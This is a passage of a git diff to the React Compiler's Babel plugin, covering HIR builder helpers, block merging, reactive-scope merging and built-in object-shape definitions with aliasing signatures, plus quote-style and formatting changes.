           id: block.terminal.id,
@@ -700,7 +725,7 @@ export function reversePostorderBlocks(func: HIR): void {
  * may be in the output: blocks will be removed in the case of unreachable code in
  * the input.
  */
-function getReversePostorderedBlocks(func: HIR): HIR["blocks"] {
+function getReversePostorderedBlocks(func: HIR): HIR['blocks'] {
   const visited: Set<BlockId> = new Set();
   const used: Set<BlockId> = new Set();
   const usedFallthroughs: Set<BlockId> = new Set();
@@ -738,6 +763,11 @@ function getReversePostorderedBlocks(func: HIR): HIR["blocks"] {
      * (eg bb2 then bb1), we ensure that they get reversed back to the correct order.
      */
     const block = func.blocks.get(blockId)!;
+    CompilerError.invariant(block != null, {
+      reason: '[HIRBuilder] Unexpected null block',
+      description: `expected block ${blockId} to exist`,
+      loc: GeneratedSource,
+    });
     const successors = [...eachTerminalSuccessor(block.terminal)].reverse();
     const fallthrough = terminalFallthrough(block.terminal);
 
@@ -772,7 +802,7 @@ function getReversePostorderedBlocks(func: HIR): HIR["blocks"] {
         ...block,
         instructions: [],
         terminal: {
-          kind: "unreachable",
+          kind: 'unreachable',
           id: block.terminal.id,
           loc: block.terminal.loc,
         },
@@ -791,9 +821,7 @@ export function markInstructionIds(func: HIR): void {
     for (const instr of block.instructions) {
       CompilerError.invariant(!visited.has(instr), {
         reason: `${printInstruction(instr)} already visited!`,
-        description: null,
         loc: instr.loc,
-        suggestions: null,
       });
       visited.add(instr);
       instr.id = makeInstructionId(++id);
@@ -813,7 +841,7 @@ export function markPredecessors(func: HIR): void {
       return;
     }
     CompilerError.invariant(block != null, {
-      reason: "unexpected missing block",
+      reason: 'unexpected missing block',
       description: `block ${blockId}`,
       loc: GeneratedSource,
     });
@@ -826,7 +854,7 @@ export function markPredecessors(func: HIR): void {
     }
     visited.add(blockId);
 
-    const { terminal } = block;
+    const {terminal} = block;
 
     for (const successor of eachTerminalSuccessor(terminal)) {
       visit(successor, block);
@@ -841,7 +869,7 @@ export function markPredecessors(func: HIR): void {
  */
 function getTargetIfIndirection(block: BasicBlock): number | null {
   return block.instructions.length === 0 &&
-    block.terminal.kind === "goto" &&
+    block.terminal.kind === 'goto' &&
     block.terminal.variant === GotoVariant.Break
     ? block.terminal.block
     : null;
@@ -854,14 +882,14 @@ function getTargetIfIndirection(block: BasicBlock): number | null {
 export function removeUnnecessaryTryCatch(fn: HIR): void {
   for (const [, block] of fn.blocks) {
     if (
-      block.terminal.kind === "try" &&
+      block.terminal.kind === 'try' &&
       !fn.blocks.has(block.terminal.handler)
     ) {
       const handlerId = block.terminal.handler;
       const fallthroughId = block.terminal.fallthrough;
       const fallthrough = fn.blocks.get(fallthroughId);
       block.terminal = {
-        kind: "goto",
+        kind: 'goto',
         block: block.terminal.block,
         id: makeInstructionId(0),
         loc: block.terminal.loc,
@@ -882,20 +910,46 @@ export function removeUnnecessaryTryCatch(fn: HIR): void {
 
 export function createTemporaryPlace(
   env: Environment,
-  loc: SourceLocation
+  loc: SourceLocation,
 ): Place {
   return {
-    kind: "Identifier",
-    identifier: {
-      id: env.nextIdentifierId,
-      mutableRange: { start: makeInstructionId(0), end: makeInstructionId(0) },
-      name: null,
-      scope: null,
-      type: makeType(),
-      loc,
-    },
+    kind: 'Identifier',
+    identifier: makeTemporaryIdentifier(env.nextIdentifierId, loc),
     reactive: false,
     effect: Effect.Unknown,
     loc: GeneratedSource,
   };
 }
+
+/**
+ * Clones an existing Place, returning a new temporary Place that shares the
+ * same metadata properties as the original place (effect, reactive flag, type)
+ * but has a new, temporary Identifier.
+ */
+export function clonePlaceToTemporary(env: Environment, place: Place): Place {
+  const temp = createTemporaryPlace(env, place.loc);
+  temp.effect = place.effect;
+  temp.identifier.type = place.identifier.type;
+  temp.reactive = place.reactive;
+  return temp;
+}
+
+/**
+ * Fix scope and identifier ranges to account for renumbered instructions
+ */
+export function fixScopeAndIdentifierRanges(func: HIR): void {
+  for (const [, block] of func.blocks) {
+    const terminal = block.terminal;
+    if (terminal.kind === 'scope' || terminal.kind === 'pruned-scope') {
+      /*
+       * Scope ranges should always align to start at the 'scope' terminal
+       * and end at the first instruction of the fallthrough block
+       */
+      const fallthroughBlock = func.blocks.get(terminal.fallthrough)!;
+      const firstId =
+        fallthroughBlock.instructions[0]?.id ?? fallthroughBlock.terminal.id;
+      terminal.scope.range.start = terminal.id;
+      terminal.scope.range.end = firstId;
+    }
+  }
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/MergeConsecutiveBlocks.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/MergeConsecutiveBlocks.ts
index 44b50a8b499f..bdd4f3f1e135 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/MergeConsecutiveBlocks.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/MergeConsecutiveBlocks.ts
@@ -5,16 +5,17 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "../CompilerError";
+import {CompilerError} from '../CompilerError';
 import {
   BlockId,
   Effect,
   GeneratedSource,
   HIRFunction,
   Instruction,
-} from "./HIR";
-import { markPredecessors } from "./HIRBuilder";
-import { terminalFallthrough, terminalHasFallthrough } from "./visitors";
+  Place,
+} from './HIR';
+import {markPredecessors} from './HIRBuilder';
+import {terminalFallthrough, terminalHasFallthrough} from './visitors';
 
 /*
  * Merges sequences of blocks that will always execute consecutively —
@@ -25,8 +26,6 @@ import { terminalFallthrough, terminalHasFallthrough } from "./visitors";
  * Note that this pass leaves value/loop blocks alone because they cannot
  * be merged without breaking the structure of the high-level terminals
  * that reference them.
- *
- * TODO @josephsavona make value blocks explicit (eg a `kind` on Block).
  */
 export function mergeConsecutiveBlocks(fn: HIRFunction): void {
   const merged = new MergedBlocks();
@@ -39,8 +38,8 @@ export function mergeConsecutiveBlocks(fn: HIRFunction): void {
 
     for (const instr of block.instructions) {
       if (
-        instr.value.kind === "FunctionExpression" ||
-        instr.value.kind === "ObjectMethod"
+        instr.value.kind === 'FunctionExpression' ||
+        instr.value.kind === 'ObjectMethod'
       ) {
         mergeConsecutiveBlocks(instr.value.loweredFunc.func);
       }
@@ -50,7 +49,7 @@ export function mergeConsecutiveBlocks(fn: HIRFunction): void {
       // Can only merge blocks with a single predecessor
       block.preds.size !== 1 ||
       // Value blocks cannot merge
-      block.kind !== "block" ||
+      block.kind !== 'block' ||
       // Merging across fallthroughs could move the predecessor out of its block scope
       fallthroughBlocks.has(block.id)
     ) {
@@ -61,11 +60,9 @@ export function mergeConsecutiveBlocks(fn: HIRFunction): void {
     const predecessor = fn.body.blocks.get(predecessorId);
     CompilerError.invariant(predecessor !== undefined, {
       reason: `Expected predecessor ${predecessorId} to exist`,
-      description: null,
-      loc: null,
-      suggestions: null,
+      loc: GeneratedSource,
     });
-    if (predecessor.terminal.kind !== "goto" || predecessor.kind !== "block") {
+    if (predecessor.terminal.kind !== 'goto' || predecessor.kind !== 'block') {
       /*
        * The predecessor is not guaranteed to transfer control to this block,
        * they aren't consecutive.
@@ -77,31 +74,25 @@ export function mergeConsecutiveBlocks(fn: HIRFunction): void {
     for (const phi of block.phis) {
       CompilerError.invariant(phi.operands.size === 1, {
         reason: `Found a block with a single predecessor but where a phi has multiple (${phi.operands.size}) operands`,
-        description: null,
-        loc: null,
-        suggestions: null,
+        loc: GeneratedSource,
       });
       const operand = Array.from(phi.operands.values())[0]!;
+      const lvalue: Place = {
+        kind: 'Identifier',
+        identifier: phi.place.identifier,
+        effect: Effect.ConditionallyMutate,
+        reactive: false,
+        loc: GeneratedSource,
+      };
       const instr: Instruction = {
         id: predecessor.terminal.id,
-        lvalue: {
-          kind: "Identifier",
-          identifier: phi.id,
-          effect: Effect.ConditionallyMutate,
-          reactive: false,
-          loc: GeneratedSource,
-        },
+        lvalue: {...lvalue},
         value: {
-          kind: "LoadLocal",
-          place: {
-            kind: "Identifier",
-            identifier: operand,
-            effect: Effect.Read,
-            reactive: false,
-            loc: GeneratedSource,
-          },
+          kind: 'LoadLocal',
+          place: {...operand},
           loc: GeneratedSource,
         },
+        effects: [{kind: 'Alias', from: {...operand}, into: {...lvalue}}],
         loc: GeneratedSource,
       };
       predecessor.instructions.push(instr);
@@ -112,8 +103,19 @@ export function mergeConsecutiveBlocks(fn: HIRFunction): void {
     merged.merge(block.id, predecessorId);
     fn.body.blocks.delete(block.id);
   }
+  for (const [, block] of fn.body.blocks) {
+    for (const phi of block.phis) {
+      for (const [predecessorId, operand] of phi.operands) {
+        const mapped = merged.get(predecessorId);
+        if (mapped !== predecessorId) {
+          phi.operands.delete(predecessorId);
+          phi.operands.set(mapped, operand);
+        }
+      }
+    }
+  }
   markPredecessors(fn.body);
-  for (const [, { terminal }] of fn.body.blocks) {
+  for (const [, {terminal}] of fn.body.blocks) {
     if (terminalHasFallthrough(terminal)) {
       terminal.fallthrough = merged.get(terminal.fallthrough);
     }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/MergeOverlappingReactiveScopesHIR.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/MergeOverlappingReactiveScopesHIR.ts
index 6ce0c101fbea..96d20ea64426 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/MergeOverlappingReactiveScopesHIR.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/MergeOverlappingReactiveScopesHIR.ts
@@ -1,19 +1,26 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
 import {
   HIRFunction,
   InstructionId,
   Place,
   ReactiveScope,
   makeInstructionId,
-} from ".";
-import { getPlaceScope } from "../ReactiveScopes/BuildReactiveBlocks";
-import { isMutable } from "../ReactiveScopes/InferReactiveScopeVariables";
-import DisjointSet from "../Utils/DisjointSet";
-import { getOrInsertDefault } from "../Utils/utils";
+} from '.';
+import {getPlaceScope} from '../HIR/HIR';
+import {isMutable} from '../ReactiveScopes/InferReactiveScopeVariables';
+import DisjointSet from '../Utils/DisjointSet';
+import {getOrInsertDefault} from '../Utils/utils';
 import {
   eachInstructionLValue,
   eachInstructionOperand,
   eachTerminalOperand,
-} from "./visitors";
+} from './visitors';
 
 /**
  * While previous passes ensure that reactive scopes span valid sets of program
@@ -113,10 +120,10 @@ export function mergeOverlappingReactiveScopesHIR(fn: HIRFunction): void {
   joinedScopes.forEach((scope, groupScope) => {
     if (scope !== groupScope) {
       groupScope.range.start = makeInstructionId(
-        Math.min(groupScope.range.start, scope.range.start)
+        Math.min(groupScope.range.start, scope.range.start),
       );
       groupScope.range.end = makeInstructionId(
-        Math.max(groupScope.range.end, scope.range.end)
+        Math.max(groupScope.range.end, scope.range.end),
       );
     }
   });
@@ -129,8 +136,8 @@ export function mergeOverlappingReactiveScopesHIR(fn: HIRFunction): void {
 }
 
 type ScopeInfo = {
-  scopeStarts: Array<{ id: InstructionId; scopes: Set<ReactiveScope> }>;
-  scopeEnds: Array<{ id: InstructionId; scopes: Set<ReactiveScope> }>;
+  scopeStarts: Array<{id: InstructionId; scopes: Set<ReactiveScope>}>;
+  scopeEnds: Array<{id: InstructionId; scopes: Set<ReactiveScope>}>;
   placeScopes: Map<Place, ReactiveScope>;
 };
 
@@ -148,9 +155,17 @@ function collectScopeInfo(fn: HIRFunction): ScopeInfo {
     const scope = place.identifier.scope;
     if (scope != null) {
       placeScopes.set(place, scope);
+      /**
+       * Record both mutating and non-mutating scopes to merge scopes with
+       * still-mutating values with inner scopes that alias those values
+       * (see `nonmutating-capture-in-unsplittable-memo-block`)
+       *
+       * Note that this isn't perfect, as it also leads to merging of mutating
+       * scopes with JSX single-instruction scopes (see `mutation-within-jsx`)
+       */
       if (scope.range.start !== scope.range.end) {
         getOrInsertDefault(scopeStarts, scope.range.start, new Set()).add(
-          scope
+          scope,
         );
         getOrInsertDefault(scopeEnds, scope.range.end, new Set()).add(scope);
       }
@@ -173,10 +188,10 @@ function collectScopeInfo(fn: HIRFunction): ScopeInfo {
 
   return {
     scopeStarts: [...scopeStarts.entries()]
-      .map(([id, scopes]) => ({ id, scopes }))
+      .map(([id, scopes]) => ({id, scopes}))
       .sort((a, b) => b.id - a.id),
     scopeEnds: [...scopeEnds.entries()]
-      .map(([id, scopes]) => ({ id, scopes }))
+      .map(([id, scopes]) => ({id, scopes}))
       .sort((a, b) => b.id - a.id),
     placeScopes,
   };
@@ -184,8 +199,8 @@ function collectScopeInfo(fn: HIRFunction): ScopeInfo {
 
 function visitInstructionId(
   id: InstructionId,
-  { scopeEnds, scopeStarts }: ScopeInfo,
-  { activeScopes, joined }: TraversalState
+  {scopeEnds, scopeStarts}: ScopeInfo,
+  {activeScopes, joined}: TraversalState,
 ): void {
   /**
    * Handle all scopes that end at this instruction.
@@ -200,7 +215,7 @@ function visitInstructionId(
      * order of start IDs because the scopes stack is ordered as such
      */
     const scopesSortedStartDescending = [...scopeEndTop.scopes].sort(
-      (a, b) => b.range.start - a.range.start
+      (a, b) => b.range.start - a.range.start,
     );
     for (const scope of scopesSortedStartDescending) {
       const idx = activeScopes.indexOf(scope);
@@ -227,7 +242,7 @@ function visitInstructionId(
     scopeStarts.pop();
 
     const scopesSortedEndDescending = [...scopeStartTop.scopes].sort(
-      (a, b) => b.range.end - a.range.end
+      (a, b) => b.range.end - a.range.end,
     );
     activeScopes.push(...scopesSortedEndDescending);
     /**
@@ -247,14 +262,14 @@ function visitInstructionId(
 function visitPlace(
   id: InstructionId,
   place: Place,
-  { activeScopes, joined }: TraversalState
+  {activeScopes, joined}: TraversalState,
 ): void {
   /**
    * If an instruction mutates an outer scope, flatten all scopes from the top
    * of the stack to the mutated outer scope.
    */
   const placeScope = getPlaceScope(id, place);
-  if (placeScope != null && isMutable({ id } as any, place)) {
+  if (placeScope != null && isMutable({id}, place)) {
     const placeScopeIdx = activeScopes.indexOf(placeScope);
     if (placeScopeIdx !== -1 && placeScopeIdx !== activeScopes.length - 1) {
       joined.union([placeScope, ...activeScopes.slice(placeScopeIdx + 1)]);
@@ -264,7 +279,7 @@ function visitPlace(
 
 function getOverlappingReactiveScopes(
   fn: HIRFunction,
-  context: ScopeInfo
+  context: ScopeInfo,
 ): DisjointSet<ReactiveScope> {
   const state: TraversalState = {
     joined: new DisjointSet<ReactiveScope>(),
@@ -275,6 +290,13 @@ function getOverlappingReactiveScopes(
     for (const instr of block.instructions) {
       visitInstructionId(instr.id, context, state);
       for (const place of eachInstructionOperand(instr)) {
+        if (
+          (instr.value.kind === 'FunctionExpression' ||
+            instr.value.kind === 'ObjectMethod') &&
+          place.identifier.type.kind === 'Primitive'
+        ) {
+          continue;
+        }
         visitPlace(instr.id, place, state);
       }
       for (const place of eachInstructionLValue(instr)) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/ObjectShape.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/ObjectShape.ts
index 0a3451023cd4..849d73cf3642 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/ObjectShape.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/ObjectShape.ts
@@ -5,15 +5,31 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "../CompilerError";
-import { Effect, ValueKind, ValueReason } from "./HIR";
+import {CompilerError} from '../CompilerError';
+import {AliasingEffect, AliasingSignature} from '../Inference/AliasingEffects';
+import {assertExhaustive} from '../Utils/utils';
+import {
+  Effect,
+  GeneratedSource,
+  Hole,
+  makeDeclarationId,
+  makeIdentifierId,
+  makeInstructionId,
+  Place,
+  SourceLocation,
+  SpreadPattern,
+  ValueKind,
+  ValueReason,
+} from './HIR';
 import {
   BuiltInType,
   FunctionType,
+  makeType,
   ObjectType,
   PolyType,
   PrimitiveType,
-} from "./Types";
+} from './Types';
+import {AliasingEffectConfig, AliasingSignatureConfig} from './TypeSchema';
 
 /*
  * This file exports types and defaults for JavaScript object shapes. These are
@@ -22,7 +38,7 @@ import {
  */
 
 const PRIMITIVE_TYPE: PrimitiveType = {
-  kind: "Primitive",
+  kind: 'Primitive',
 };
 
 let nextAnonId = 0;
@@ -42,18 +58,27 @@ function createAnonId(): string {
 export function addFunction(
   registry: ShapeRegistry,
   properties: Iterable<[string, BuiltInType | PolyType]>,
-  fn: Omit<FunctionSignature, "hookKind">,
-  id: string | null = null
+  fn: Omit<FunctionSignature, 'hookKind' | 'aliasing'> & {
+    aliasing?: AliasingSignatureConfig | null | undefined;
+  },
+  id: string | null = null,
+  isConstructor: boolean = false,
 ): FunctionType {
   const shapeId = id ?? createAnonId();
+  const aliasing =
+    fn.aliasing != null
+      ? parseAliasingSignatureConfig(fn.aliasing, '<builtin>', GeneratedSource)
+      : null;
   addShape(registry, shapeId, properties, {
     ...fn,
+    aliasing,
     hookKind: null,
   });
   return {
-    kind: "Function",
+    kind: 'Function',
     return: fn.returnType,
     shapeId,
+    isConstructor,
   };
 }
 
@@ -64,15 +89,147 @@ export function addFunction(
  */
 export function addHook(
   registry: ShapeRegistry,
-  fn: FunctionSignature & { hookKind: HookKind },
-  id: string | null = null
+  fn: Omit<FunctionSignature, 'aliasing'> & {
+    hookKind: HookKind;
+    aliasing?: AliasingSignatureConfig | null | undefined;
+  },
+  id: string | null = null,
 ): FunctionType {
   const shapeId = id ?? createAnonId();
-  addShape(registry, shapeId, [], fn);
+  const aliasing =
+    fn.aliasing != null
+      ? parseAliasingSignatureConfig(fn.aliasing, '<builtin>', GeneratedSource)
+      : null;
+  addShape(registry, shapeId, [], {...fn, aliasing});
   return {
-    kind: "Function",
+    kind: 'Function',
     return: fn.returnType,
     shapeId,
+    isConstructor: false,
+  };
+}
+
+function parseAliasingSignatureConfig(
+  typeConfig: AliasingSignatureConfig,
+  moduleName: string,
+  loc: SourceLocation,
+): AliasingSignature {
+  const lifetimes = new Map<string, Place>();
+  function define(temp: string): Place {
+    CompilerError.invariant(!lifetimes.has(temp), {
+      reason: `Invalid type configuration for module`,
+      description: `Expected aliasing signature to have unique names for receiver, params, rest, returns, and temporaries in module '${moduleName}'`,
+      loc,
+    });
+    const place = signatureArgument(lifetimes.size);
+    lifetimes.set(temp, place);
+    return place;
+  }
+  function lookup(temp: string): Place {
+    const place = lifetimes.get(temp);
+    CompilerError.invariant(place != null, {
+      reason: `Invalid type configuration for module`,
+      description: `Expected aliasing signature effects to reference known names from receiver/params/rest/returns/temporaries, but '${temp}' is not a known name in '${moduleName}'`,
+      loc,
+    });
+    return place;
+  }
+  const receiver = define(typeConfig.receiver);
+  const params = typeConfig.params.map(define);
+  const rest = typeConfig.rest != null ? define(typeConfig.rest) : null;
+  const returns = define(typeConfig.returns);
+  const temporaries = typeConfig.temporaries.map(define);
+  const effects = typeConfig.effects.map(
+    (effect: AliasingEffectConfig): AliasingEffect => {
+      switch (effect.kind) {
+        case 'ImmutableCapture':
+        case 'CreateFrom':
+        case 'Capture':
+        case 'Alias':
+        case 'Assign': {
+          const from = lookup(effect.from);
+          const into = lookup(effect.into);
+          return {
+            kind: effect.kind,
+            from,
+            into,
+          };
+        }
+        case 'Mutate':
+        case 'MutateTransitiveConditionally': {
+          const value = lookup(effect.value);
+          return {kind: effect.kind, value};
+        }
+        case 'Create': {
+          const into = lookup(effect.into);
+          return {
+            kind: 'Create',
+            into,
+            reason: effect.reason,
+            value: effect.value,
+          };
+        }
+        case 'Freeze': {
+          const value = lookup(effect.value);
+          return {
+            kind: 'Freeze',
+            value,
+            reason: effect.reason,
+          };
+        }
+        case 'Impure': {
+          const place = lookup(effect.place);
+          return {
+            kind: 'Impure',
+            place,
+            error: CompilerError.throwTodo({
+              reason: 'Support impure effect declarations',
+              loc: GeneratedSource,
+            }),
+          };
+        }
+        case 'Apply': {
+          const receiver = lookup(effect.receiver);
+          const fn = lookup(effect.function);
+          const args: Array<Place | SpreadPattern | Hole> = effect.args.map(
+            arg => {
+              if (typeof arg === 'string') {
+                return lookup(arg);
+              } else if (arg.kind === 'Spread') {
+                return {kind: 'Spread', place: lookup(arg.place)};
+              } else {
+                return arg;
+              }
+            },
+          );
+          const into = lookup(effect.into);
+          return {
+            kind: 'Apply',
+            receiver,
+            function: fn,
+            mutatesFunction: effect.mutatesFunction,
+            args,
+            into,
+            loc,
+            signature: null,
+          };
+        }
+        default: {
+          assertExhaustive(
+            effect,
+            `Unexpected effect kind '${(effect as any).kind}'`,
+          );
+        }
+      }
+    },
+  );
+  return {
+    receiver: receiver.identifier.id,
+    params: params.map(p => p.identifier.id),
+    rest: rest != null ? rest.identifier.id : null,
+    returns: returns.identifier.id,
+    temporaries,
+    effects,
   };
 }
 
@@ -84,12 +241,12 @@ export function addHook(
 export function addObject(
   registry: ShapeRegistry,
   id: string | null,
-  properties: Iterable<[string, BuiltInType | PolyType]>
+  properties: Iterable<[string, BuiltInType | PolyType]>,
 ): ObjectType {
   const shapeId = id ?? createAnonId();
   addShape(registry, shapeId, properties, null);
   return {
-    kind: "Object",
+    kind: 'Object',
     shapeId,
   };
 }
@@ -98,7 +255,7 @@ function addShape(
   registry: ShapeRegistry,
   id: string,
   properties: Iterable<[string, BuiltInType | PolyType]>,
-  functionType: FunctionSignature | null
+  functionType: FunctionSignature | null,
 ): ObjectShape {
   const shape: ObjectShape = {
     properties: new Map(properties),
@@ -107,25 +264,28 @@ function addShape(
 
   CompilerError.invariant(!registry.has(id), {
     reason: `[ObjectShape] Could not add shape to registry: name ${id} already exists.`,
-    description: null,
-    loc: null,
-    suggestions: null,
+    loc: GeneratedSource,
   });
   registry.set(id, shape);
   return shape;
 }
 
 export type HookKind =
-  | "useContext"
-  | "useState"
-  | "useActionState"
-  | "useReducer"
-  | "useRef"
-  | "useEffect"
-  | "useLayoutEffect"
-  | "useMemo"
-  | "useCallback"
-  | "Custom";
+  | 'useContext'
+  | 'useState'
+  | 'useActionState'
+  | 'useReducer'
+  | 'useRef'
+  | 'useEffect'
+  | 'useLayoutEffect'
+  | 'useInsertionEffect'
+  | 'useMemo'
+  | 'useCallback'
+  | 'useTransition'
+  | 'useImperativeHandle'
+  | 'useEffectEvent'
+  | 'useOptimistic'
+  | 'Custom';
 
 /*
  * Call signature of a function, used for type and effect inference.
@@ -169,6 +329,13 @@ export type FunctionSignature = {
    * - Else uses the effects specified by this signature.
    */
   mutableOnlyIfOperandsAreMutable?: boolean;
+
+  impure?: boolean;
+  knownIncompatible?: string | null | undefined;
+
+  canonicalName?: string;
+
+  aliasing?: AliasingSignature | null | undefined;
 };
 
 /*
@@ -189,75 +356,227 @@ export type ObjectShape = {
  * the inferred types for [] and {}.
  */
 export type ShapeRegistry = Map<string, ObjectShape>;
-export const BuiltInPropsId = "BuiltInProps";
-export const BuiltInArrayId = "BuiltInArray";
-export const BuiltInFunctionId = "BuiltInFunction";
-export const BuiltInJsxId = "BuiltInJsx";
-export const BuiltInObjectId = "BuiltInObject";
-export const BuiltInUseStateId = "BuiltInUseState";
-export const BuiltInSetStateId = "BuiltInSetState";
-export const BuiltInUseActionStateId = "BuiltInUseActionState";
-export const BuiltInSetActionStateId = "BuiltInSetActionState";
-export const BuiltInUseRefId = "BuiltInUseRefId";
-export const BuiltInRefValueId = "BuiltInRefValue";
-export const BuiltInMixedReadonlyId = "BuiltInMixedReadonly";
-export const BuiltInUseEffectHookId = "BuiltInUseEffectHook";
-export const BuiltInUseLayoutEffectHookId = "BuiltInUseLayoutEffectHook";
-export const BuiltInUseInsertionEffectHookId = "BuiltInUseInsertionEffectHook";
-export const BuiltInUseOperatorId = "BuiltInUseOperator";
-export const BuiltInUseReducerId = "BuiltInUseReducer";
-export const BuiltInDispatchId = "BuiltInDispatch";
+export const BuiltInPropsId = 'BuiltInProps';
+export const BuiltInArrayId = 'BuiltInArray';
+export const BuiltInSetId = 'BuiltInSet';
+export const BuiltInMapId = 'BuiltInMap';
+export const BuiltInWeakSetId = 'BuiltInWeakSet';
+export const BuiltInWeakMapId = 'BuiltInWeakMap';
+export const BuiltInFunctionId = 'BuiltInFunction';
+export const BuiltInJsxId = 'BuiltInJsx';
+export const BuiltInObjectId = 'BuiltInObject';
+export const BuiltInUseStateId = 'BuiltInUseState';
+export const BuiltInSetStateId = 'BuiltInSetState';
+export const BuiltInUseActionStateId = 'BuiltInUseActionState';
+export const BuiltInSetActionStateId = 'BuiltInSetActionState';
+export const BuiltInUseRefId = 'BuiltInUseRefId';
+export const BuiltInRefValueId = 'BuiltInRefValue';
+export const BuiltInMixedReadonlyId = 'BuiltInMixedReadonly';
+export const BuiltInUseEffectHookId = 'BuiltInUseEffectHook';
+export const BuiltInUseLayoutEffectHookId = 'BuiltInUseLayoutEffectHook';
+export const BuiltInUseInsertionEffectHookId = 'BuiltInUseInsertionEffectHook';
+export const BuiltInUseOperatorId = 'BuiltInUseOperator';
+export const BuiltInUseReducerId = 'BuiltInUseReducer';
+export const BuiltInDispatchId = 'BuiltInDispatch';
+export const BuiltInUseContextHookId = 'BuiltInUseContextHook';
+export const BuiltInUseTransitionId = 'BuiltInUseTransition';
+export const BuiltInUseOptimisticId = 'BuiltInUseOptimistic';
+export const BuiltInSetOptimisticId = 'BuiltInSetOptimistic';
+export const BuiltInStartTransitionId = 'BuiltInStartTransition';
+export const BuiltInUseEffectEventId = 'BuiltInUseEffectEvent';
+export const BuiltInEffectEventId = 'BuiltInEffectEventFunction';
+
+// See getReanimatedModuleType() in Globals.ts — this is part of supporting Reanimated's ref-like types
+export const ReanimatedSharedValueId = 'ReanimatedSharedValueId';
 
 // ShapeRegistry with default definitions for built-ins.
 export const BUILTIN_SHAPES: ShapeRegistry = new Map();
 
 // If the `ref` prop exists, it has the ref type
 addObject(BUILTIN_SHAPES, BuiltInPropsId, [
-  ["ref", { kind: "Object", shapeId: BuiltInUseRefId }],
+  ['ref', {kind: 'Object', shapeId: BuiltInUseRefId}],
 ]);
 
 /* Built-in array shape */
 addObject(BUILTIN_SHAPES, BuiltInArrayId, [
   [
-    "at",
+    'indexOf',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.Read,
+      returnType: {kind: 'Primitive'},
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    'includes',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.Read,
+      returnType: {kind: 'Primitive'},
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    'pop',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: null,
+      returnType: {kind: 'Poly'},
+      calleeEffect: Effect.Store,
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+  [
+    'at',
     addFunction(BUILTIN_SHAPES, [], {
       positionalParams: [Effect.Read],
       restParam: null,
-      returnType: { kind: "Poly" },
+      returnType: {kind: 'Poly'},
       calleeEffect: Effect.Capture,
       returnValueKind: ValueKind.Mutable,
     }),
   ],
   [
-    "concat",
+    'concat',
     addFunction(BUILTIN_SHAPES, [], {
       positionalParams: [],
       restParam: Effect.Capture,
       returnType: {
-        kind: "Object",
+        kind: 'Object',
         shapeId: BuiltInArrayId,
       },
-      calleeEffect: Effect.Read,
+      calleeEffect: Effect.Capture,
       returnValueKind: ValueKind.Mutable,
     }),
   ],
-  ["length", PRIMITIVE_TYPE],
+  ['length', PRIMITIVE_TYPE],
   [
-    "push",
+    'push',
     addFunction(BUILTIN_SHAPES, [], {
       positionalParams: [],
       restParam: Effect.Capture,
       returnType: PRIMITIVE_TYPE,
       calleeEffect: Effect.Store,
       returnValueKind: ValueKind.Primitive,
+      aliasing: {
+        receiver: '@receiver',
+        params: [],
+        rest: '@rest',
+        returns: '@returns',
+        temporaries: [],
+        effects: [
+          // Push directly mutates the array itself
+          {kind: 'Mutate', value: '@receiver'},
+          // The arguments are captured into the array
+          {
+            kind: 'Capture',
+            from: '@rest',
+            into: '@receiver',
+          },
+          // Returns the new length, a primitive
+          {
+            kind: 'Create',
+            into: '@returns',
+            value: ValueKind.Primitive,
+            reason: ValueReason.KnownReturnSignature,
+          },
+        ],
+      },
+    }),
+  ],
+  [
+    'slice',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.Read,
+      returnType: {
+        kind: 'Object',
+        shapeId: BuiltInArrayId,
+      },
+      calleeEffect: Effect.Capture,
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+  [
+    'map',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.ConditionallyMutate,
+      returnType: {kind: 'Object', shapeId: BuiltInArrayId},
+      /*
+       * callee is ConditionallyMutate because items of the array
+       * flow into the lambda and may be mutated there, even though
+       * the array object itself is not modified
+       */
+      calleeEffect: Effect.ConditionallyMutate,
+      returnValueKind: ValueKind.Mutable,
+      noAlias: true,
+      mutableOnlyIfOperandsAreMutable: true,
+      aliasing: {
+        receiver: '@receiver',
+        params: ['@callback'],
+        rest: null,
+        returns: '@returns',
+        temporaries: [
+          // Temporary representing captured items of the receiver
+          '@item',
+          // Temporary representing the result of the callback
+          '@callbackReturn',
+          /*
+           * Undefined `this` arg to the callback. Note the signature does not
+           * support passing an explicit thisArg second param
+           */
+          '@thisArg',
+        ],
+        effects: [
+          // Map creates a new mutable array
+          {
+            kind: 'Create',
+            into: '@returns',
+            value: ValueKind.Mutable,
+            reason: ValueReason.KnownReturnSignature,
+          },
+          // The first arg to the callback is an item extracted from the receiver array
+          {
+            kind: 'CreateFrom',
+            from: '@receiver',
+            into: '@item',
+          },
+          // The undefined this for the callback
+          {
+            kind: 'Create',
+            into: '@thisArg',
+            value: ValueKind.Primitive,
+            reason: ValueReason.KnownReturnSignature,
+          },
+          // calls the callback, returning the result into a temporary
+          {
+            kind: 'Apply',
